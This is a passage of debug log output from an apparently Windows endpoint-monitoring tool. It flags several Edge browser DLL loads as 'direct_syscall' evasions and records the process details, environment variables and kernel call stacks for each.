Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcdea54294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdd647a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffcdd64759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffcdd6644fe C:\Windows\System32\combase.dll!WindowsDeleteString|0x7ffcdd7cd25a C:\Windows\System32\combase.dll!Ordinal225|0x7ffcdd6187d1 C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffcdd6172ff C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffcdd616e1f C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffc8e8f2759 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e8f25e2 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e8f2222 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e8f21aa C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ebaa5d1 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e735042 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d20d752 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d20d6a6 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d460224 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d460058 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d45f954 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d45f682 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8cdb500b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce05198 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce29a08 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:21+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4178628 + Pid: 7364 + Tid: 4644 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.9578421 +0100 CET + Params: base_address➜ 7ffcda040000, checksum➜ 203729, default_address➜ 7ffcda040000, file_path➜ C:\Windows\System32\slc.dll, image_size➜ 184320, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcdea54294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6996 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea2d7d3 C:\Windows\System32\ntdll.dll!RtlGuardCheckLongJumpTarget|0x7ffcdea2b94d C:\Windows\System32\ntdll.dll!LdrResolveDelayLoadedAPI|0x7ffcc46f0772 C:\Windows\System32\SystemSettings.DataModel.dll!DllCanUnloadNow|0x7ffcc470334d C:\Windows\System32\SystemSettings.DataModel.dll!DllGetActivationFactory|0x7ffcc47254c0 C:\Windows\System32\SystemSettings.DataModel.dll!DllGetActivationFactory|0x7ffcc472503f C:\Windows\System32\SystemSettings.DataModel.dll!DllGetActivationFactory|0x7ffcc4722757 C:\Windows\System32\SystemSettings.DataModel.dll!DllGetActivationFactory|0x7ffcc47226fe C:\Windows\System32\SystemSettings.DataModel.dll!DllGetActivationFactory|0x7ffc8e8f279e C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e8f25e2 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e8f2222 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e8f21aa C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ebaa5d1 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e735042 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d20d752 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d20d6a6 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d460224 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d460058 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d45f954 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8d45f682 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8cdb500b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce05198 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffc8ce29a08 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:21+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4178679 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.9589982 +0100 CET + Params: base_address➜ 7ffcdb990000, checksum➜ 457799, default_address➜ 7ffcdb990000, file_path➜ C:\Windows\System32\powrprof.dll, image_size➜ 385024, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcdea54294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6996 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea2d7d3 C:\Windows\System32\ntdll.dll!RtlGuardCheckLongJumpTarget|0x7ffcdea2b94d C:\Windows\System32\ntdll.dll!LdrResolveDelayLoadedAPI|0x7ffcdd17b2b2 C:\Windows\System32\user32.dll!SetSystemCursor|0x7ffcdd194191 C:\Windows\System32\user32.dll!WindowFromPoint|0x7ffcdd176945 C:\Windows\System32\user32.dll!RegisterPowerSettingNotification|0x7ffc8cec2612 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec0be0 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec0ba8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec094a C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceaea2f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae2af C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:21+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4178711 + Pid: 7364 + Tid: 18496 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:13.9601223 +0100 CET + Params: base_address➜ 7ffcdb970000, checksum➜ 98535, default_address➜ 7ffcdb970000, file_path➜ C:\Windows\System32\umpdc.dll, image_size➜ 81920, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 7364, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7364 + Ppid: 1796 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7364 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7364_RAIHKPSMTOUJLVBI EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1147 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ky3EW0TW8oX9Rn2Wh/c48YakUrYD3e1I+zxOQQ8BaFo=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"RvwjMueE83Cbu2a2D3diKn9g2D83iWKsVixv/KhRGPw=" EFC_1884_1262719628:1 EFC_1884_1592913036:1 EFC_1884_2283032206:1 EFC_1884_2775293581:1 EFC_1884_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 